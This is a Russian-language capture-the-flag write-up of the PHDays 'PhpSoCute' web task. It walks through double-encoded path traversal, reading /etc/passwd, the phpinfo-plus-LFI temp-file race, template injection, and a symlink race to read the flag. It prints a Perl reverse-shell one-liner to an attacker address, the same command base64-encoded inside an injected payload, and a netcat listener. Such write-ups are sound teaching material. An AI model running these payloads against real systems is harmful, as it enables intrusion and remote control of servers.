PhpSoCute
http://php.hackquest.phdays.com:88/
Дан какой-то бложек, с виду wordpress.
Доступны урлы: index.php -> index.html, wp-admin.html
Dirbuster нашел pi.php который показывает нам phpinfo.
После некоторого фазинга было понятно, что есть некий include или даже читалка файлов для запросов которые оканчиваются на html
http://php.hackquest.phdays.com:88/pi.php/1html
Такой запрос нам показал интересный параметр PATH_TRANSLATED -
redirect:/t3mp473l04d3r.php
При обращении к этому файлу - 500 ошибка, видимо надо передавать какие-то гет параметры чтобы читать файлы, но это нам не нужно.
Пробуем doubleencode
(%2569 - i), сработало!
Попробуем опуститься на директорию ниже ..%252f и проитать файл index.php -
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Удача!
Читаем /etc/passwd
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]root[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]root[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]root[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]bash
daemon[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]daemon[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]usr[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sbin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
bin[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
sys[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]sys[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]dev[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
sync[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]65534[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]sync[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sync
games[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]games[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]usr[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]games[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
man[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]12[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]man[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]cache[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]man[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
lp[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]7[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]7[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]lp[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]spool[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]lpd[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
mail[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
news[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]news[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]spool[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]news[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
uucp[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]uucp[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]spool[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]uucp[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
proxy[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]13[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]13[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]proxy[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
www[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]33[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]33[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
backup[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]34[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]34[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]backup[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]backups[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
[/COLOR][COLOR="#007700"]list:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]38[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]38[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]Mailing[/COLOR][COLOR="#007700"]List[/COLOR][COLOR="#0000BB"]Manager[/COLOR][COLOR="#007700"]:/var/list:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
irc[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]39[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]39[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]ircd[/COLOR][COLOR="#007700"]:/var/[/COLOR][COLOR="#0000BB"]run[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]ircd[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
gnats[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]41[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]41[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]Gnats Bug[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Reporting System[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]admin[/COLOR][COLOR="#007700"]):/var/[/COLOR][COLOR="#0000BB"]lib[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]gnats[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
nobody[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]65534[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]65534[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]nobody[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]nonexistent[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
libuuid[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]100[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]101[/COLOR][COLOR="#007700"]::/var/[/COLOR][COLOR="#0000BB"]lib[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]libuuid[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]sh
flag[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]101[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]65534[/COLOR][COLOR="#007700"]::/[/COLOR][COLOR="#0000BB"]home[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]flag[/COLOR][COLOR="#007700"]:/[/COLOR][COLOR="#0000BB"]bin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]false[/COLOR][/COLOR]
Прочитать файл t3mp473l04d3r.php по пока непонятным причинам не удалось.
О, у нас есть phpinfo и lfi. так это же баг!
Суть вот в чем: нам надо послать какой-то файл на pi.php, pi.php выдаст нам массив $_FILES где будет указан временный путь куда загрузился наш файл вида /tmp/ololo
В это время нам надо проинклудить наш файл через lfi.
Проблема 1: Загруженный файл в /tmp доступен 20-30 секунд пока мы держим открытым сокет, но этого достаточно чтобы выполнить инклуд.
ПРоблема 2: Сайт работает на 2х нодах (2 разных виртуалки), т.е. файл мы можем загрузить в одну, а читать с другой. Решается реферешем страницы инклуда.
Для загрузки файла я использовал перл скрипт от Pashkela, но немного подифицировал:
https://gist.github.com/firsov/52a24...2c654971e83f1c
Содержимое файла указывается в $phpcode, немного пофазил это значение и понял, что это template injection.
Usage: perl php.pl
http://php.hackquest.phdays.com:88/pi.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$phpcode[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'{var_dump(124)}'[/COLOR][COLOR="#007700"];
[/COLOR][/COLOR]
Не обращаем внимания на ошибки - просто копируем строку
и вставляем в браузер.
Смотрим view-souce и видим:
Сообщение от
None
int(124)
Отлично! php код выполняется.
Дальше я загнал перловый backconnect shell в base64
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]perl[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#DD0000"]'use Socket;$i="127.0.0.MYSERVERIP";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'[/COLOR][/COLOR]
И проинклудил такую строку:
Сообщение от
None
$phpcode = '{var_dump(system(base64_decode("cGVybCAtZSAndXNlI FNvY2tldDskaT0iMTI3LjAuMC5NWVNFUlZFUklQIjskcD00MDA wO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvd G9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJ faW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+J lMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4 mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9Oyc=")))}';
Тем временем на своем сервере у меня запущена команда nc -nlvkp 4000
На сервере увидел коннект с уязвимого хоста и ура, шелл есть.
ls -la /
Здесь видно 2 файла от юзера flag: /binary и /flag
Прочитать нельзя.
Пробуем выполнить команду /binary flag - получаем ошибку.
Что же делать? Попробуем сделать symlink race condition
Запустим еще один терминал с этим сервером.
[Дальше будет без скринов и команды по памяти т.к. сервера уже недоступны]
В одном терминале запускаем /binary /tmp/lala в цикле
В другом терминале в цикле rm /tmp/lala; ln -s /flag /tmp/lala; rm /tmp/lala; echo azaza > /tmp/lala;
И получаем флаг.
За помощь спасибо mailbrush, yarbabin.